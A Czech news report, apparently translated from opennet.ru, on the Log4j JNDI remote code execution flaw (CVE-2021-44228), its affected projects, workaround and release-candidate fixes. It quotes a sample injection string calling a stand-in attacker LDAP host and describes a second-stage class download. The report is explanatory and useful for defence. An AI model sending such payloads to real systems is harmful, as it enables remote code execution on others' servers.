Katastrofální zranitelnost v Apache Log4j ovlivňující mnoho projektů Java

V Apache Log4j, populárním rámci pro organizaci protokolování v aplikacích Java, byla identifikována kritická chyba zabezpečení, která umožňuje spuštění libovolného kódu, když je do protokolu zapsána speciálně formátovaná hodnota ve formátu „{jndi:URL}“. Útok lze provést na Java aplikace, které logují hodnoty přijaté z externích zdrojů, například při zobrazování problematických hodnot v chybových zprávách.

Je třeba poznamenat, že téměř všechny projekty využívající frameworky jako Apache Struts, Apache Solr, Apache Druid nebo Apache Flink jsou tímto problémem postiženy, včetně Steam, Apple iCloud, klientů a serverů Minecraft. Očekává se, že zranitelnost by mohla vést k vlně masivních útoků na podnikové aplikace, opakující historii kritických zranitelností v frameworku Apache Struts, který podle hrubého odhadu používá ve webových aplikacích 65 % Fortune. 100 společností.Včetně pokusů o skenování sítě na zranitelné systémy.

Problém zhoršuje skutečnost, že již byl zveřejněn pracovní exploit, ale opravy pro stabilní větve ještě nebyly zkompilovány. Identifikátor CVE ještě nebyl přidělen. Oprava je zahrnuta pouze v testovací větvi log4j-2.15.0-rc1. Jako řešení pro zablokování této chyby zabezpečení se doporučuje nastavit parametr log4j2.formatMsgNoLookups na hodnotu true.

Problém byl způsoben tím, že log4j podporuje zpracování speciálních masek „{}“ ve výstupu řádků do logu, ve kterých lze provádět dotazy JNDI (Java Naming and Directory Interface). Útok se scvrkává na předání řetězce se substitucí „${jndi:ldap://attacker.com/a}“, po zpracování který log4j odešle požadavek LDAP na cestu ke třídě Java na server útočník.com . Cesta vrácená útočníkovým serverem (například http://second-stage.attacker.com/Exploit.class) bude načtena a spuštěna v kontextu aktuálního procesu, což umožňuje útočníkovi spustit libovolný kód na systému s právy aktuální aplikace.

Dodatek 1: Chybě zabezpečení byl přiřazen identifikátor CVE-2021-44228.

Dodatek 2: Byl identifikován způsob, jak obejít ochranu přidanou vydáním log4j-2.15.0-rc1. Byla navržena nová aktualizace log4j-2.15.0-rc2 s úplnější ochranou proti této chybě zabezpečení. Kód zdůrazňuje změnu spojenou s absencí abnormálního ukončení v případě použití nesprávně naformátované adresy URL JNDI.

Zdroj: opennet.ru

Přidat komentář